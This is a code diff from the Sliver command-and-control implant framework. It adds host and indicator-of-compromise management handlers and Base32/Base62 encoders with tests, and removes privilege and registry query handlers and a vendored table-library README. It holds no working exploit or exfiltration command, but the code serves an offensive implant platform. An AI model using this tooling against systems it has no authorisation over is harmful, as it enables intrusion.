but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
)
var (
hostsRPCLog = log.NamedLogger("rpc", "hosts")
)
// Hosts - List all hosts
func (rpc *Server) Hosts(ctx context.Context, _ *commonpb.Empty) (*clientpb.AllHosts, error) {
dbHosts, err := db.ListHosts()
if err != nil {
return nil, err
}
hosts := []*clientpb.Host{}
for _, dbHost := range dbHosts {
hosts = append(hosts, dbHost.ToProtobuf())
}
return &clientpb.AllHosts{Hosts: hosts}, nil
}
// Host - Host by ID
func (rpc *Server) Host(ctx context.Context, req *clientpb.Host) (*clientpb.Host, error) {
dbHost, err := db.HostByHostUUID(req.HostUUID)
if err != nil {
return nil, err
}
return dbHost.ToProtobuf(), nil
}
// HostRm - Remove a host from the database
func (rpc *Server) HostRm(ctx context.Context, req *clientpb.Host) (*commonpb.Empty, error) {
dbHost, err := db.HostByHostUUID(req.HostUUID)
if err != nil {
return nil, err
}
err = db.Session().Delete(dbHost).Error
if err != nil {
return nil, err
}
return &commonpb.Empty{}, nil
}
// HostIOCRm - Remove a host from the database
func (rpc *Server) HostIOCRm(ctx context.Context, req *clientpb.IOC) (*commonpb.Empty, error) {
dbIOC, err := db.IOCByID(req.ID)
if err != nil {
return nil, err
}
err = db.Session().Delete(dbIOC).Error
if err != nil {
return nil, err
}
return &commonpb.Empty{}, nil
}
-10
View File
@@ -118,13 +118,3 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
}
return resp, nil
}
// GetPrivs - gRPC interface to get privilege information from the current process
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
resp := &sliverpb.GetPrivs{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
-20
View File
@@ -35,23 +35,3 @@ func (rpc *Server) RegistryCreateKey(ctx context.Context, req *sliverpb.Registry
}
return resp, nil
}
// RegistryListSubKeys - gRPC interface to list the sub keys of a registry key
func (rpc *Server) RegistryListSubKeys(ctx context.Context, req *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
resp := &sliverpb.RegistrySubKeyList{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// RegistryListSubKeys - gRPC interface to list the sub keys of a registry key
func (rpc *Server) RegistryListValues(ctx context.Context, req *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
resp := &sliverpb.RegistryValuesList{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
-3
View File
@@ -130,9 +130,6 @@ func (rpc *Server) UpdateSession(ctx context.Context, update *clientpb.UpdateSes
}
session.Request(sliverpb.MsgNumber(&req), rpc.getTimeout(&req), data)
}
if len(update.Extensions) != 0 {
session.Extensions = update.Extensions
}
core.Sessions.UpdateSession(session)
resp = session.ToProtobuf()
return resp, nil
-1
View File
@@ -74,7 +74,6 @@ type GenericResponse interface {
// NewServer - Create new server instance
func NewServer() *Server {
core.StartEventAutomation()
return &Server{}
}
@@ -1,8 +1,8 @@
package hosts
package encoders
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,28 +19,26 @@ package hosts
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"encoding/base32"
)
// HostsIOCRmCmd - Remove a host from the database
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ioc, err := SelectHostIOC(host, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
// Base32EncoderID - EncoderID
const Base32EncoderID = 65
// Base32 Encoder
type Base32 struct{}
// Missing chars: i, l, o, s
const base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)
// Encode - Base32 Encode
func (e Base32) Encode(data []byte) []byte {
return []byte(sliverBase32.EncodeToString(data))
}
// Decode - Base32 Decode
func (e Base32) Decode(data []byte) ([]byte, error) {
return sliverBase32.DecodeString(string(data))
}
+80
View File
@@ -0,0 +1,80 @@
package encoders
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestBase32(t *testing.T) {
sample := randomData()
b32 := new(Base32)
output := b32.Encode(sample)
data, err := b32.Decode(output)
if err != nil {
t.Errorf("b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
implantBase32 := new(implantEncoders.Base32)
output2 := implantBase32.Encode(sample)
data2, err := implantBase32.Decode(output2)
if err != nil {
t.Errorf("implant b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data2) {
t.Logf("sample = %#v", sample)
t.Logf("output2 = %#v", output2)
t.Logf(" data2 = %#v", data2)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = b32.Encode(sample)
data, err = implantBase32.Decode(output)
if err != nil {
t.Errorf("b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = implantBase32.Encode(sample)
data, err = b32.Decode(output)
if err != nil {
t.Errorf("b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
}
+210
View File
@@ -0,0 +1,210 @@
package encoders
/*
MIT License
Copyright (c) 2019 Shawn Wang <[email protected]>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-------------------------------------------------------------------------------
Modifications by moloch to work with Sliver
*/
import (
"math/bits"
"strconv"
)
const (
base = 62
compactMask = 0x1E // 00011110
mask5bits = 0x1F // 00011111
)
// Base62EncoderID - EncoderID
const Base62EncoderID = 43
// Base62 Encoder
type Base62 struct{}
const base62Alphabet = "aBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyz0123456789"
// Encode - Base62 Encode
func (e Base62) Encode(data []byte) []byte {
return []byte(NewEncoding(base62Alphabet).EncodeToString(data))
}
// Decode - Base62 Decode
func (e Base62) Decode(data []byte) ([]byte, error) {
return NewEncoding(base62Alphabet).DecodeString(string(data))
}
type Base62Encoder struct {
encode [base]byte
decodeMap [256]byte
}
func NewEncoding(encoder string) *Base62Encoder {
if len(encoder) != base {
panic("encoding alphabet is not 62-bytes long")
}
for i := 0; i < len(encoder); i++ {
if encoder[i] == '\n' || encoder[i] == '\r' {
panic("encoding alphabet contains newline character")
}
}
e := new(Base62Encoder)
copy(e.encode[:], encoder)
for i := 0; i < len(e.decodeMap); i++ {
e.decodeMap[i] = 0xFF
}
for i := 0; i < len(encoder); i++ {
e.decodeMap[encoder[i]] = byte(i)
}
return e
}
func (enc *Base62Encoder) Encode(src []byte) []byte {
if len(src) == 0 {
return []byte{}
}
encoder := newEncoder(src)
return encoder.encode(enc.encode[:])
}
func (enc *Base62Encoder) EncodeToString(src []byte) string {
ret := enc.Encode(src)
return string(ret)
}
type encoder struct {
b []byte
pos int
}
func newEncoder(src []byte) *encoder {
return &encoder{
b: src,
pos: len(src) * 8,
}
}
func (enc *encoder) next() (byte, bool) {
var i, pos int
var j, blen byte
pos = enc.pos - 6
if pos <= 0 {
pos = 0
blen = byte(enc.pos)
} else {
i = pos / 8
j = byte(pos % 8)
blen = byte((i+1)*8 - pos)
if blen > 6 {
blen = 6
}
}
shift := 8 - j - blen
b := enc.b[i] >> shift & (1<<blen - 1)
if blen < 6 && pos > 0 {
blen1 := 6 - blen
b = b<<blen1 | enc.b[i+1]>>(8-blen1)
}
if b&compactMask == compactMask {
if pos > 0 || b > mask5bits {
pos++
}
b &= mask5bits
}
enc.pos = pos
return b, pos > 0
}
func (enc *encoder) encode(encTable []byte) []byte {
ret := make([]byte, 0, len(enc.b)*8/5+1)
x, hasMore := enc.next()
for {
ret = append(ret, encTable[x])
if !hasMore {
break
}
x, hasMore = enc.next()
}
return ret
}
type CorruptInputError int64
func (e CorruptInputError) Error() string {
return "illegal base62 data at input byte " + strconv.FormatInt(int64(e), 10)
}
func (enc *Base62Encoder) Decode(src []byte) ([]byte, error) {
if len(src) == 0 {
return []byte{}, nil
}
dec := decoder(src)
return dec.decode(enc.decodeMap[:])
}
func (enc *Base62Encoder) DecodeString(src string) ([]byte, error) {
return enc.Decode([]byte(src))
}
type decoder []byte
func (dec decoder) decode(decTable []byte) ([]byte, error) {
ret := make([]byte, len(dec)*6/8+1)
idx := len(ret)
pos := byte(0)
b := 0
for i, c := range dec {
x := decTable[c]
if x == 0xFF {
return nil, CorruptInputError(i)
}
if i == len(dec)-1 {
b |= int(x) << pos
pos += byte(bits.Len8(x))
} else if x&compactMask == compactMask {
b |= int(x) << pos
pos += 5
} else {
b |= int(x) << pos
pos += 6
}
if pos >= 8 {
idx--
ret[idx] = byte(b)
pos %= 8
b >>= 8
}
}
if pos > 0 {
idx--
ret[idx] = byte(b)
}
return ret[idx:], nil
}
+80
View File
@@ -0,0 +1,80 @@
package encoders
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestBase62(t *testing.T) {
sample := randomData()
b62 := new(Base62)
output := b62.Encode(sample)
data, err := b62.Decode(output)
if err != nil {
t.Errorf("b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
implantBase62 := new(implantEncoders.Base62)
output2 := implantBase62.Encode(sample)
data2, err := implantBase62.Decode(output2)
if err != nil {
t.Errorf("implant b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data2) {
t.Logf("sample = %#v", sample)
t.Logf("output2 = %#v", output2)
t.Logf(" data2 = %#v", data2)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = b62.Encode(sample)
data, err = implantBase62.Decode(output)
if err != nil {
t.Errorf("b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = implantBase62.Encode(sample)
data, err = b62.Decode(output)
if err != nil {
t.Errorf("b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
}
+2 -2
View File
@@ -1,7 +1,5 @@
package encoders
import "encoding/base64"
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -20,6 +18,8 @@ import "encoding/base64"
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "encoding/base64"
// Base64EncoderID - EncoderID
const Base64EncoderID = 13
+7 -7
View File
@@ -1,12 +1,5 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -25,6 +18,13 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestBase64(t *testing.T) {
sample := randomData()
+7 -7
View File
@@ -1,12 +1,5 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -25,6 +18,13 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestGzipEnglish(t *testing.T) {
sample := randomData()
+7 -7
View File
@@ -1,12 +1,5 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -25,6 +18,13 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestEnglish(t *testing.T) {
sample := randomData()
+5 -5
View File
@@ -1,5 +1,10 @@
package encoders
import (
"bytes"
"compress/gzip"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,11 +23,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"compress/gzip"
)
// GzipEncoderID - EncoderID
const GzipEncoderID = 49
+7 -7
View File
@@ -1,12 +1,5 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -25,6 +18,13 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestGzip(t *testing.T) {
sample := randomData()
+2 -2
View File
@@ -1,5 +1,7 @@
package encoders
import "encoding/hex"
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,8 +20,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "encoding/hex"
// HexEncoderID - EncoderID
const HexEncoderID = 92
+7 -7
View File
@@ -1,12 +1,5 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -25,6 +18,13 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestHex(t *testing.T) {
sample := randomData()
-21
View File
@@ -1,21 +0,0 @@
MIT License
Copyright (c) 2018 jedib0t
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-446
View File
@@ -1,446 +0,0 @@
# Table
[![Go Reference](https://pkg.go.dev/badge/github.com/jedib0t/go-pretty/v6/table.svg)](https://pkg.go.dev/github.com/jedib0t/go-pretty/v6/table)
Pretty-print tables into ASCII/Unicode strings.
- Add Rows one-by-one or as a group (`AppendRow`/`AppendRows`)
- Add Header(s) and Footer(s) (`AppendHeader`/`AppendFooter`)
- Add a Separator manually after any Row (`AppendSeparator`)
- Auto Index Rows (1, 2, 3 ...) and Columns (A, B, C, ...) (`SetAutoIndex`)
- Auto Merge
- Cells in a Row (`RowConfig.AutoMerge`)
- Columns (`ColumnConfig.AutoMerge`)
- Limit the length of
- Rows (`SetAllowedRowLength`)
- Columns (`ColumnConfig.Width*`)
- Page results by a specified number of Lines (`SetPageSize`)
- Alignment - Horizontal & Vertical
- Auto (horizontal) Align (numeric columns aligned Right)
- Custom (horizontal) Align per column (`ColumnConfig.Align*`)
- Custom (vertical) VAlign per column with multi-line cell support (`ColumnConfig.VAlign*`)
- Mirror output to an `io.Writer` (ex. `os.StdOut`) (`SetOutputMirror`)
- Sort by one or more Columns (`SortBy`)
- Suppress/hide columns with no content (`SuppressEmptyColumns`)
- Customizable Cell rendering per Column (`ColumnConfig.Transformer*`)
- Hide any columns that you don't want displayed (`ColumnConfig.Hidden`)
- Reset Headers/Rows/Footers at will to reuse the same Table Writer (`Reset*`)
- Completely customizable styles (`SetStyle`/`Style`)
- Many ready-to-use styles: [style.go](style.go)
- Colorize Headers/Body/Footers using [../text/color.go](../text/color.go)
- Custom text-case for Headers/Body/Footers
- Enable separators between each row
- Render table without a Border
- and a lot more...
- Render as:
- (ASCII/Unicode) Table
- CSV
- HTML Table (with custom CSS Class)
- Markdown Table
```
+---------------------------------------------------------------------+
| Game of Thrones +
+-----+------------+-----------+--------+-----------------------------+
| # | FIRST NAME | LAST NAME | SALARY | |
+-----+------------+-----------+--------+-----------------------------+
| 1 | Arya | Stark | 3000 | |
| 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
| 300 | Tyrion | Lannister | 5000 | |
+-----+------------+-----------+--------+-----------------------------+
| | | TOTAL | 10000 | |
+-----+------------+-----------+--------+-----------------------------+
```
A demonstration of all the capabilities can be found here:
[../cmd/demo-table](../cmd/demo-table)
If you want very specific examples, read ahead.
# Examples
All the examples below are going to start with the following block, although
nothing except a single Row is mandatory for the `Render()` function to render
something:
```golang
package main
import (
"os"
"github.com/jedib0t/go-pretty/v6/table"
)
func main() {
t := table.NewWriter()
t.SetOutputMirror(os.Stdout)
t.AppendHeader(table.Row{"#", "First Name", "Last Name", "Salary"})
t.AppendRows([]table.Row{
{1, "Arya", "Stark", 3000},
{20, "Jon", "Snow", 2000, "You know nothing, Jon Snow!"},
})
t.AppendSeparator()
t.AppendRow([]interface{}{300, "Tyrion", "Lannister", 5000})
t.AppendFooter(table.Row{"", "", "Total", 10000})
t.Render()
}
```
Running the above will result in:
```
+-----+------------+-----------+--------+-----------------------------+
| # | FIRST NAME | LAST NAME | SALARY | |
+-----+------------+-----------+--------+-----------------------------+
| 1 | Arya | Stark | 3000 | |
| 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
+-----+------------+-----------+--------+-----------------------------+
| 300 | Tyrion | Lannister | 5000 | |
+-----+------------+-----------+--------+-----------------------------+
| | | TOTAL | 10000 | |
+-----+------------+-----------+--------+-----------------------------+
```
## Styles
You can customize almost every single thing about the table above. The previous
example just defaulted to `StyleDefault` during `Render()`. You can use a
ready-to-use style (as in [style.go](style.go)) or customize it as you want.
### Ready-to-use Styles
Table comes with a bunch of ready-to-use Styles that make the table look really
good. Set or Change the style using:
```golang
t.SetStyle(table.StyleLight)
t.Render()
```
to get:
```
┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
│ # │ FIRST NAME │ LAST NAME │ SALARY │ │
├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
│ 1 │ Arya │ Stark │ 3000 │ │
│ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
│ 300 │ Tyrion │ Lannister │ 5000 │ │
├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
│ │ │ TOTAL │ 10000 │ │
└─────┴────────────┴───────────┴────────┴─────────────────────────────┘
```
Or if you want to use a full-color mode, and don't care for boxes, use:
```golang
t.SetStyle(table.StyleColoredBright)
t.Render()
```
to get:
<img src="images/table-StyleColoredBright.png" width="640px" alt="Colored Table"/>
### Roll your own Style
You can also roll your own style:
```golang
t.SetStyle(table.Style{
Name: "myNewStyle",
Box: table.BoxStyle{
BottomLeft: "\\",
BottomRight: "/",
BottomSeparator: "v",
Left: "[",
LeftSeparator: "{",
MiddleHorizontal: "-",
MiddleSeparator: "+",
MiddleVertical: "|",
PaddingLeft: "<",
PaddingRight: ">",
Right: "]",
RightSeparator: "}",
TopLeft: "(",
TopRight: ")",
TopSeparator: "^",
UnfinishedRow: " ~~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{text.BgCyan, text.FgBlack},
Footer: text.Colors{text.BgCyan, text.FgBlack},
Header: text.Colors{text.BgHiCyan, text.FgBlack},
Row: text.Colors{text.BgHiWhite, text.FgBlack},
RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
},
Format: table.FormatOptions{
Footer: text.FormatUpper,
Header: text.FormatUpper,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: true,
SeparateColumns: true,
SeparateFooter: true,
SeparateHeader: true,
SeparateRows: false,
},
})
```
Or you can use one of the ready-to-use Styles, and just make a few tweaks:
```golang
t.SetStyle(table.StyleLight)
t.Style().Color.Header = text.Colors{text.BgHiCyan, text.FgBlack}
t.Style().Color.IndexColumn = text.Colors{text.BgHiCyan, text.FgBlack}
t.Style().Format.Footer = text.FormatLower
t.Style().Options.DrawBorder = false
```
## Auto-Merge
You can auto-merge cells horizontally and vertically, but you have request for
it specifically for each row/column using `RowConfig` or `ColumnConfig`.
```golang
rowConfigAutoMerge := table.RowConfig{AutoMerge: true}
t := table.NewWriter()
t.AppendHeader(table.Row{"Node IP", "Pods", "Namespace", "Container", "RCE", "RCE"}, rowConfigAutoMerge)
t.AppendHeader(table.Row{"", "", "", "", "EXE", "RUN"})
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 1", "Y", "Y"}, rowConfigAutoMerge)
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 2", "Y", "N"}, rowConfigAutoMerge)
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1B", "C 3", "N", "N"}, rowConfigAutoMerge)
t.AppendRow(table.Row{"1.1.1.1", "Pod 1B", "NS 2", "C 4", "N", "N"}, rowConfigAutoMerge)
t.AppendRow(table.Row{"1.1.1.1", "Pod 1B", "NS 2", "C 5", "Y", "N"}, rowConfigAutoMerge)
t.AppendRow(table.Row{"2.2.2.2", "Pod 2", "NS 3", "C 6", "Y", "Y"}, rowConfigAutoMerge)
t.AppendRow(table.Row{"2.2.2.2", "Pod 2", "NS 3", "C 7", "Y", "Y"}, rowConfigAutoMerge)
t.AppendFooter(table.Row{"", "", "", 7, 5, 3})
t.SetAutoIndex(true)
t.SetColumnConfigs([]table.ColumnConfig{
{Number: 1, AutoMerge: true},
{Number: 2, AutoMerge: true},
{Number: 3, AutoMerge: true},
{Number: 4, AutoMerge: true},
{Number: 5, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
{Number: 6, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
})
t.SetOutputMirror(os.Stdout)
t.SetStyle(table.StyleLight)
t.Style().Options.SeparateRows = true
fmt.Println(t.Render())
```
to get:
```
┌───┬─────────┬────────┬───────────┬───────────┬───────────┐
│ │ NODE IP │ PODS │ NAMESPACE │ CONTAINER │ RCE │
│ │ │ │ │ ├─────┬─────┤
│ │ │ │ │ │ EXE │ RUN │
├───┼─────────┼────────┼───────────┼───────────┼─────┴─────┤
│ 1 │ 1.1.1.1 │ Pod 1A │ NS 1A │ C 1 │ Y │
├───┤ │ │ ├───────────┼─────┬─────┤
│ 2 │ │ │ │ C 2 │ Y │ N │
├───┤ │ ├───────────┼───────────┼─────┴─────┤
│ 3 │ │ │ NS 1B │ C 3 │ N │
├───┤ ├────────┼───────────┼───────────┼───────────┤
│ 4 │ │ Pod 1B │ NS 2 │ C 4 │ N │
├───┤ │ │ ├───────────┼─────┬─────┤
│ 5 │ │ │ │ C 5 │ Y │ N │
├───┼─────────┼────────┼───────────┼───────────┼─────┴─────┤
│ 6 │ 2.2.2.2 │ Pod 2 │ NS 3 │ C 6 │ Y │
├───┤ │ │ ├───────────┼───────────┤
│ 7 │ │ │ │ C 7 │ Y │
├───┼─────────┼────────┼───────────┼───────────┼─────┬─────┤
│ │ │ │ │ 7 │ 5 │ 3 │
└───┴─────────┴────────┴───────────┴───────────┴─────┴─────┘
```
## Paging
You can limit then number of lines rendered in a single "Page". This logic
can handle rows with multiple lines too. Here is a simple example:
```golang
t.SetPageSize(1)
t.Render()
```
to get:
```
+-----+------------+-----------+--------+-----------------------------+
| # | FIRST NAME | LAST NAME | SALARY | |
+-----+------------+-----------+--------+-----------------------------+
| 1 | Arya | Stark | 3000 | |
+-----+------------+-----------+--------+-----------------------------+
| | | TOTAL | 10000 | |
+-----+------------+-----------+--------+-----------------------------+
+-----+------------+-----------+--------+-----------------------------+
| # | FIRST NAME | LAST NAME | SALARY | |
+-----+------------+-----------+--------+-----------------------------+
| 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
+-----+------------+-----------+--------+-----------------------------+
| | | TOTAL | 10000 | |
+-----+------------+-----------+--------+-----------------------------+
+-----+------------+-----------+--------+-----------------------------+
| # | FIRST NAME | LAST NAME | SALARY | |
+-----+------------+-----------+--------+-----------------------------+
| 300 | Tyrion | Lannister | 5000 | |
+-----+------------+-----------+--------+-----------------------------+
| | | TOTAL | 10000 | |
+-----+------------+-----------+--------+-----------------------------+
```
## Sorting
Sorting can be done on one or more columns. The following code will make the
rows be sorted first by "First Name" and then by "Last Name" (in case of similar
"First Name" entries).
```golang
t.SortBy([]table.SortBy{
{Name: "First Name", Mode: table.Asc},
{Name: "Last Name", Mode: table.Asc},
})
```
## Wrapping (or) Row/Column Width restrictions
You can restrict the maximum (text) width for a Row:
```golang
t.SetAllowedRowLength(50)
t.Render()
```
to get:
```
+-----+------------+-----------+--------+------- ~
| # | FIRST NAME | LAST NAME | SALARY | ~
+-----+------------+-----------+--------+------- ~
| 1 | Arya | Stark | 3000 | ~
| 20 | Jon | Snow | 2000 | You kn ~
+-----+------------+-----------+--------+------- ~
| 300 | Tyrion | Lannister | 5000 | ~
+-----+------------+-----------+--------+------- ~
| | | TOTAL | 10000 | ~
+-----+------------+-----------+--------+------- ~
```
## Column Control - Alignment, Colors, Width and more
You can control a lot of things about individual cells/columns which overrides
global properties/styles using the `SetColumnConfig()` interface:
- Alignment (horizontal & vertical)
- Colorization
- Transform individual cells based on the content
- Visibility
- Width (minimum & maximum)
```golang
nameTransformer := text.Transformer(func(val interface{}) string {
return text.Bold.Sprint(val)
})
t.SetColumnConfigs([]ColumnConfig{
{
Name: "First Name",
Align: text.AlignLeft,
AlignFooter: text.AlignLeft,
AlignHeader: text.AlignLeft,
Colors: text.Colors{text.BgBlack, text.FgRed},
ColorsHeader: text.Colors{text.BgRed, text.FgBlack, text.Bold},
ColorsFooter: text.Colors{text.BgRed, text.FgBlack},
Hidden: false,
Transformer: nameTransformer,
TransformerFooter: nameTransformer,
TransformerHeader: nameTransformer,
VAlign: text.VAlignMiddle,
VAlignFooter: text.VAlignTop,
VAlignHeader: text.VAlignBottom,
WidthMin: 6,
WidthMax: 64,
}
})
```
## Render As ...
Tables can be rendered in other common formats such as:
### ... CSV
```golang
t.RenderCSV()
```
to get:
```
,First Name,Last Name,Salary,
1,Arya,Stark,3000,
